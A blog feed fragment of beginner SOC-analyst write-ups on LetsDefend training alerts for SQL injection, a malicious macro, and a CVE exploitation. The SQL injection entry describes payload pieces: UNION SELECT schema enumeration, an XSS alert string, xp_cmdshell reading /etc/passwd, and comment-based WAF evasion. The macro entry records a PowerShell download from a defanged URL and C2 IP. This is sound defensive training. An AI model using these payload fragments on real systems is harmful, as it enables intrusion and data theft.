      <category>beginners</category>
      <category>education</category>
      <category>networksec</category>
    </item>
    <item>
      <title>LetsDefend SOC127 - SQL Injection Detected</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Fri, 24 Apr 2026 16:40:45 +0000</pubDate>
      <link>https://zeroday.forem.com/hitanshugedam/letsdefend-soc127-sql-injection-detected-ak</link>
      <guid>https://zeroday.forem.com/hitanshugedam/letsdefend-soc127-sql-injection-detected-ak</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8sicehewq6wt2xh14ejj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8sicehewq6wt2xh14ejj.png" alt="alert" width="800" height="306"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Above is the screenshot of the alert that we are going to investigate.&lt;/p&gt;

&lt;p&gt;We start with taking the ownership of the alert and then head to the investigation channel.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw82secbpe5b0fd9ac1of.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw82secbpe5b0fd9ac1of.png" alt="createcase" width="800" height="387"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we create the case for this alert.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0v1xki4120swz2wmrn9e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0v1xki4120swz2wmrn9e.png" alt="playbook" width="800" height="246"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next thing for us to do is starting the playbook.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgw6cyfnbo0ihnaym2nmt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgw6cyfnbo0ihnaym2nmt.png" alt="infopage" width="800" height="439"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F139w2d6m5atbelyghwim.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F139w2d6m5atbelyghwim.png" alt="infopage2" width="800" height="523"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo90asyonn89ydf4w0zof.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo90asyonn89ydf4w0zof.png" alt="infopage3" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next thing I do is copy the url from the Request URL field and head to &lt;a href="https://gchq.github.io/CyberChef" rel="noopener noreferrer"&gt;CyberChef&lt;/a&gt; to &lt;code&gt;URL Decode&lt;/code&gt; it:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuk1afetshq4ru3plqnj9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuk1afetshq4ru3plqnj9.png" alt="cyberchef" width="800" height="467"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It code looks like a malicious HTTP GET request trying to combine multiple attacks into one command:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;SQL Injection (Boolean + Union-Based)&lt;br&gt;
The attacker injects AND 1=1 to confirm the parameter is vulnerable, followed by a UNION ALL SELECT query to extract table_name from information_schema.tables. This aims to enumerate the database schema.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Reflected XSS Payload&lt;br&gt;
The string 'alert(&amp;amp;quot;XSS&amp;amp;quot;)' is injected into the UNION query. If unsanitized in the HTTP response, it will execute JavaScript in the victim's browser — used for session hijacking.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Command Injection via xp_cmdshell&lt;br&gt;
The attacker calls xp_cmdshell('cat ../../../etc/passwd'), a SQL Server stored procedure that runs OS-level commands. This attempts to read the system's password file, indicating privilege escalation or host compromise. (I looked up the use of the command)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Evasion Techniques Observed&lt;br&gt;
The payload uses --/**/ to break the comment without spaces (bypassing naive WAF rules) and a # at the end to terminate the query early. The 200 OK response suggests the server executed at least part of the request.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The HTTP GET request contains HTTP/1.1 200 865, here the number 200 means that the attack was successful.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsh9ncoiyy33y6h1zwand.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsh9ncoiyy33y6h1zwand.png" alt="httpattack" width="800" height="377"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can conclude that it is malicious&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7y0lo9m74mtawdsnc9nz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7y0lo9m74mtawdsnc9nz.png" alt="attackclass" width="800" height="325"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can answer this easily, it is the name of the alert: SQL Injection&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd9j5wq659ucuzf4d6j01.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd9j5wq659ucuzf4d6j01.png" alt="planned" width="800" height="491"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We go to the Email Security tab and check for the hostnames and IP addresses and check for any email that may be regarding a planned test, alas we find none.&lt;/p&gt;

&lt;p&gt;Next we go to VirusTotal and check the reputation of the Source IP address:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuh12jg2z4mruzn7isxz8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuh12jg2z4mruzn7isxz8.png" alt="reputation" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;9/94 vendors flag this IP as malicious, so we can say it is malicious, with low confidence.&lt;/p&gt;

&lt;p&gt;It was NOT a planned test.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffz4xil7r6v7vts5h4tf9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffz4xil7r6v7vts5h4tf9.png" alt="question" width="800" height="439"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The destination IP is a part of the company network, and the source IP, as we know, is an external IP.&lt;br&gt;
Internet -&amp;gt; Company Network&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fihjndqgzwehzwb8k70kj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fihjndqgzwehzwb8k70kj.png" alt="succesfuol" width="800" height="637"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu8vjdw3p4rcl09ku652e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu8vjdw3p4rcl09ku652e.png" alt="suceful" width="800" height="325"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;YES, the attack was successful since we can see the code 200 in the HTTP Request&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6m2zjjsjy44yuw2yp2nc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6m2zjjsjy44yuw2yp2nc.png" alt="containment" width="800" height="536"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we move on to the containment phase.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3hpnorokr1ab534srco1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3hpnorokr1ab534srco1.png" alt="contained" width="800" height="426"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Artifacts added:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F26wm7qvxtc34o6h3qx74.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F26wm7qvxtc34o6h3qx74.png" alt="artifacts" width="800" height="466"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3nh4olwcxd62j2fgiztg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3nh4olwcxd62j2fgiztg.png" alt=" " width="800" height="594"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Do we need Tier 2 escalation? Answer: Yes, since we know the attack was successful.&lt;/p&gt;

&lt;p&gt;After adding Analyst's notes, we close the playbook:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiz6zc5rwcvl6ffc82zde.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiz6zc5rwcvl6ffc82zde.png" alt="closedplaybook" width="800" height="312"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we close the alert:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl9jzri3vi87dpumxmgj6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl9jzri3vi87dpumxmgj6.png" alt="Imption" width="735" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;True positive alert, malicious HTTP traffic detected and successful on our internal server. Escalation to Tier 2 needed for deeper investigation and forensics&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>education</category>
      <category>networksec</category>
    </item>
    <item>
      <title>LetsDefend SOC205 - Malicious Macro has been executed</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Fri, 24 Apr 2026 12:49:55 +0000</pubDate>
      <link>https://zeroday.forem.com/hitanshugedam/letsdefend-soc205-malicious-macro-has-been-executed-322p</link>
      <guid>https://zeroday.forem.com/hitanshugedam/letsdefend-soc205-malicious-macro-has-been-executed-322p</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0cypxj8652jzgx10sjpg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0cypxj8652jzgx10sjpg.png" alt="alert description" width="800" height="279"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Above is the alert we see which is a "Medium" severity alert.&lt;/p&gt;

&lt;p&gt;We start with taking the ownership of the alert and start to investigate it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbm31zbt703atvnk8ukzw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbm31zbt703atvnk8ukzw.png" alt="create case" width="800" height="351"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Next we go ahead to the investigation channel and create the case &lt;br&gt;
for this investigation&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwetdymdbw2gqol0ch72.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwetdymdbw2gqol0ch72.png" alt="investigation case" width="800" height="547"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next step for us is to start the playbook.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1wj211e87uz3fx4fo4ie.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1wj211e87uz3fx4fo4ie.png" alt="start playbook" width="800" height="278"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We look up the file hash on VirusTotal and here is what we find:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy60pn8gn6zw3hs0dpmpt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy60pn8gn6zw3hs0dpmpt.png" alt="virustotal" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can conclude that the file is malicious since 31 out of 67 vendors have flagged it malicious.&lt;/p&gt;

&lt;p&gt;After searching the IP on Log Management tab, we find the following information:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;At 8:41 a file named &lt;code&gt;C:\Users\LetsDefend\Downloads\edit1-invoice.docm.zip&lt;/code&gt; has been created (EventID 11 - File Created)&lt;/li&gt;
&lt;li&gt; User opens the Document and a macro code executes PowerShell command and execute the download of the remote ressource(&lt;code&gt;messbox.exe&lt;/code&gt; and save it as &lt;code&gt;mess.exe&lt;/code&gt;) at hxxp[:]//www[.]greyhathacker[.]net/tools/messbox[.]exe&lt;/li&gt;
&lt;li&gt;PowerShell caused a DNS lookup for the C2 host (92[.]204[.]221[.]16)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz88u72truwggxc81msrx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz88u72truwggxc81msrx.png" alt="Imageemail" width="800" height="229"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We search for the file name on the Email Security tab and find an email that was used to deliver this file to Jayne&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fetjkexkn5fsbyb3pp1q0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fetjkexkn5fsbyb3pp1q0.png" alt="Imeail" width="800" height="418"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight email"&gt;&lt;code&gt;&lt;span class="nt"&gt;From&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; jake.admin@cybercommunity.info&lt;/span&gt;
&lt;span class="nt"&gt;To&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; jayne@letsdefend.io&lt;/span&gt;
&lt;span class="nt"&gt;Subject&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; February Membership Fee&lt;/span&gt;
&lt;span class="nt"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; Feb, 28, 2024, 08:12 AM&lt;/span&gt;
&lt;span class="nt"&gt;Action&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; Allowed&lt;/span&gt;

Attachment: edit1-invoice.docm.zip
Password: infected
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since we know that the file is malicious and was executed on the host Jayne, we need to contain that host.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ufi2do1u090v7dggxng.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1ufi2do1u090v7dggxng.png" alt="contained" width="800" height="432"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Host is successfully contained.&lt;/p&gt;

&lt;p&gt;Defined threat indicator: Other&lt;br&gt;
Check if the malware is quarantined/cleaned: Not quarantined&lt;br&gt;
The malware is: malicious&lt;br&gt;
C2: accessed&lt;br&gt;
Containment is done.&lt;/p&gt;

&lt;p&gt;Artifacts added:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkiatacsthmxsc2mt2oq1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkiatacsthmxsc2mt2oq1.png" alt="artifacts" width="800" height="609"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Analyst's note added:&lt;/p&gt;

&lt;p&gt;`&lt;br&gt;
On February 28, 2024, at 08:42 AM, a user on host Jayne (IP: 172.16.17.198) opened a malicious macro-enabled Word document named edit1-invoice.docm. The embedded macro executed a PowerShell command that attempted to download a remote executable from www[.]greyhathacker[.]net (92.204.221[.]16). This activity was logged by Sysmon and other endpoint telemetry, including DNS queries and script block execution.&lt;/p&gt;

&lt;p&gt;Earlier, at 08:12 AM, a phishing email originating from jake.admin[@]cybercommunity[.]info was sent to Jayne, containing the malicious document.&lt;/p&gt;

&lt;p&gt;This incident is classified as high severity, as it enabled the download and potential execution of malware. Immediate containment measures included isolating the affected host, preserving relevant artifacts, and defanging the IOCs for safe reporting.&lt;br&gt;
`&lt;/p&gt;

&lt;p&gt;PLaybook is now completed:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkq1j2vb17mz6ns2xf9e4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkq1j2vb17mz6ns2xf9e4.png" alt="completedplaybook" width="785" height="501"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we close the alert.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1m2hsvs00vg8yqn5jd1v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1m2hsvs00vg8yqn5jd1v.png" alt="closeddescription" width="748" height="540"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>discuss</category>
      <category>cybersecurity</category>
      <category>socanalysis</category>
    </item>
    <item>
      <title>Letsdefend SOC335 - CVE-2024-49138 Exploitation Detected</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Tue, 21 Apr 2026 19:06:07 +0000</pubDate>
      <link>https://zeroday.forem.com/hitanshugedam/letsdefend-soc335-cve-2024-49138-exploitation-detected-3773</link>
      <guid>https://zeroday.forem.com/hitanshugedam/letsdefend-soc335-cve-2024-49138-exploitation-detected-3773</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsei1s4tiu9v7dr1fmguf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsei1s4tiu9v7dr1fmguf.png" alt="Take ownership" width="800" height="444"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Take ownership of the alert.&lt;/p&gt;

